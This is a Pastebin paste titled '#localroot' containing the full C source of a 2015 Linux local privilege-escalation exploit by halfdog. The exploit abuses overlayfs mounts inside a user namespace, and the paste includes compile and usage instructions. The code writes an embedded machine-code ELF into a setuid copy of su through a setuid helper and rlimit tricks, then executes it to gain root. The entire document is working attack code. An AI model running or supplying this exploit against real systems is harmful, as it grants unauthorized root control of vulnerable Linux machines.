blogfakessh

#localroot

Feb 19th, 2016
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.29 KB | None | 0 0
  1. /** This software is provided by the copyright owner "as is" and any
  2. * expressed or implied warranties, including, but not limited to,
  3. * the implied warranties of merchantability and fitness for a particular
  4. * purpose are disclaimed. In no event shall the copyright owner be
  5. * liable for any direct, indirect, incidential, special, exemplary or
  6. * consequential damages, including, but not limited to, procurement
  7. * of substitute goods or services, loss of use, data or profits or
  8. * business interruption, however caused and on any theory of liability,
  9. * whether in contract, strict liability, or tort, including negligence
  10. * or otherwise, arising in any way out of the use of this software,
  11. * even if advised of the possibility of such damage.
  12. *
  13. * Copyright (c) 2015 halfdog <me (%) halfdog.net>
  14. *
  15. * This program demonstrates how to escalate privileges using
  16. * an overlayfs mount within a user namespace. See
  17. * http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
  18. * for more information.
  19. *
  20. * gcc -o UserNamespaceOverlayfsSetuidWriteExec UserNamespaceOverlayfsSetuidWriteExec.c
  21. *
  22. * Usage: UserNamespaceOverlayfsSetuidWriteExec -- [program] [args]
  23. *
  24. */
  25.  
  26. #define _GNU_SOURCE
  27. #include <errno.h>
  28. #include <fcntl.h>
  29. #include <sched.h>
  30. #include <sys/stat.h>
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <string.h>
  34. #include <sys/mount.h>
  35. #include <sys/resource.h>
  36. #include <sys/wait.h>
  37. #include <unistd.h>
  38.  
  39. extern char **environ;
  40.  
  41. static int childFunc(void *arg) {
  42. fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  43. while(geteuid()!=0) {
  44. usleep(100);
  45. }
  46. fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  47.  
  48. int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
  49. if(result) {
  50. fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
  51. return(1);
  52. }
  53. chdir("/tmp/x/bin");
  54. result=chmod("su", 04777);
  55. if(result) {
  56. fprintf(stderr, "Mode change failed\n");
  57. return(1);
  58. }
  59.  
  60. fprintf(stderr, "Namespace helper waiting for modification completion\n");
  61. struct stat statBuf;
  62. char checkPath[128];
  63. sprintf(checkPath, "/proc/%d", getppid());
  64. while(1) {
  65. usleep(100);
  66. result=stat(checkPath, &statBuf);
  67.  
  68. if(result) {
  69. fprintf(stderr, "Namespacer helper: parent terminated\n");
  70. break;
  71. }
  72. // Wait until parent has escalated.
  73. if(statBuf.st_uid) break;
  74. }
  75.  
  76. chdir("/");
  77. umount("/tmp/x/bin");
  78. unlink("/tmp/x/over/su");
  79. rmdir("/tmp/x/over");
  80. rmdir("/tmp/x/bin/work");
  81. rmdir("/tmp/x/bin");
  82. rmdir("/tmp/x/");
  83. fprintf(stderr, "Namespace part completed\n");
  84.  
  85. return(0);
  86. }
  87.  
  88.  
  89. #define STACK_SIZE (1024 * 1024)
  90. static char child_stack[STACK_SIZE];
  91.  
  92. int main(int argc, char *argv[]) {
  93. int argPos;
  94. int result;
  95. char *targetSuidPath="/bin/su";
  96. char *helperSuidPath="/bin/mount";
  97.  
  98. for(argPos=1; argPos<argc; argPos++) {
  99. char *argName=argv[argPos];
  100. if(!strcmp(argName, "--")) {
  101. argPos++;
  102. break;
  103. }
  104. if(strncmp(argName, "--", 2)) {
  105. break;
  106. }
  107.  
  108. fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
  109. exit(1);
  110. }
  111.  
  112. mkdir("/tmp/x", 0700);
  113. mkdir("/tmp/x/bin", 0700);
  114. mkdir("/tmp/x/over", 0700);
  115.  
  116. // Create child; child commences execution in childFunc()
  117. // CLONE_NEWNS: new mount namespace
  118. // CLONE_NEWPID
  119. // CLONE_NEWUTS
  120. pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
  121. CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos);
  122. if(pid==-1) {
  123. fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
  124. return(1);
  125. }
  126.  
  127. char idMapFileName[128];
  128. char idMapData[128];
  129.  
  130. sprintf(idMapFileName, "/proc/%d/setgroups", pid);
  131. int setGroupsFd=open(idMapFileName, O_WRONLY);
  132. if(setGroupsFd<0) {
  133. fprintf(stderr, "Failed to open setgroups\n");
  134. return(1);
  135. }
  136. result=write(setGroupsFd, "deny", 4);
  137. if(result<0) {
  138. fprintf(stderr, "Failed to disable setgroups\n");
  139. return(1);
  140. }
  141. close(setGroupsFd);
  142.  
  143. sprintf(idMapFileName, "/proc/%d/uid_map", pid);
  144. fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
  145. int uidMapFd=open(idMapFileName, O_WRONLY);
  146. if(uidMapFd<0) {
  147. fprintf(stderr, "Failed to open uid map\n");
  148. return(1);
  149. }
  150. sprintf(idMapData, "0 %d 1\n", getuid());
  151. result=write(uidMapFd, idMapData, strlen(idMapData));
  152. if(result<0) {
  153. fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
  154. return(1);
  155. }
  156. close(uidMapFd);
  157.  
  158. sprintf(idMapFileName, "/proc/%d/gid_map", pid);
  159. fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
  160. int gidMapFd=open(idMapFileName, O_WRONLY);
  161. if(gidMapFd<0) {
  162. fprintf(stderr, "Failed to open gid map\n");
  163. return(1);
  164. }
  165. sprintf(idMapData, "0 %d 1\n", getgid());
  166. result=write(gidMapFd, idMapData, strlen(idMapData));
  167. if(result<0) {
  168. fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
  169. return(1);
  170. }
  171. close(gidMapFd);
  172.  
  173. // Wait until /tmp/x/over/su exists
  174. struct stat statBuf;
  175. while(1) {
  176. usleep(100);
  177. result=stat("/tmp/x/over/su", &statBuf);
  178. if(!result) break;
  179. }
  180.  
  181. // Overwrite the file
  182. sprintf(idMapFileName, "/proc/%d/cwd/su", pid);
  183.  
  184. // No slashes allowed, everything else is OK.
  185. char suidExecMinimalElf[] = {
  186. 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  187. 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  188. 0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
  189. 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
  190. 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  191. 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
  192. 0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  193. 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
  194. 0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
  195. 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  196. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
  197. 0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80,
  198.  
  199. 0x31, 0xc0, 0x04, 0xd0, 0xcd, 0x80,
  200.  
  201. 0x31, 0xc0, 0x89, 0xd0,
  202. 0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  203. };
  204. char *helperArgs[]={"/bin/mount", NULL};
  205.  
  206. int destFd=open(idMapFileName, O_RDWR|O_CREAT|O_TRUNC, 07777);
  207. if(destFd<0) {
  208. fprintf(stderr, "Failed to open %s, error %s\n", idMapFileName, strerror(errno));
  209. return(1);
  210. }
  211.  
  212. char *suidWriteNext=suidExecMinimalElf;
  213. char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  214. while(suidWriteNext!=suidWriteEnd) {
  215. char *suidWriteTestPos=suidWriteNext;
  216. while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
  217. suidWriteTestPos++;
  218. // We cannot write any 0-bytes. So let seek fill up the file wihh
  219. // null-bytes for us.
  220. lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
  221. suidWriteNext=suidWriteTestPos;
  222. while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
  223. suidWriteTestPos++;
  224.  
  225. pid_t helperPid=fork();
  226. if(!helperPid) {
  227. struct rlimit limits;
  228.  
  229. // We can't truncate, that would remove the setgid property of
  230. // the file. So make sure the SUID binary does not write too much.
  231. limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
  232. limits.rlim_max=limits.rlim_cur;
  233. setrlimit(RLIMIT_FSIZE, &limits);
  234.  
  235. // Do not rely on some SUID binary to print out the unmodified
  236. // program name, some OSes might have hardening against that.
  237. // Let the ld-loader will do that for us.
  238. limits.rlim_cur=1<<22;
  239. limits.rlim_max=limits.rlim_cur;
  240. result=setrlimit(RLIMIT_AS, &limits);
  241.  
  242. dup2(destFd, 1);
  243. dup2(destFd, 2);
  244. helperArgs[0]=suidWriteNext;
  245. execve(helperSuidPath, helperArgs, NULL);
  246. fprintf(stderr, "Exec failed\n");
  247. return(1);
  248. }
  249. waitpid(helperPid, NULL, 0);
  250. suidWriteNext=suidWriteTestPos;
  251. }
  252. close(destFd);
  253. execve(idMapFileName, argv+argPos-1, NULL);
  254. fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName,
  255. errno, strerror(errno));
  256. return(1);
  257. }
Add Comment
Please, Sign In to add comment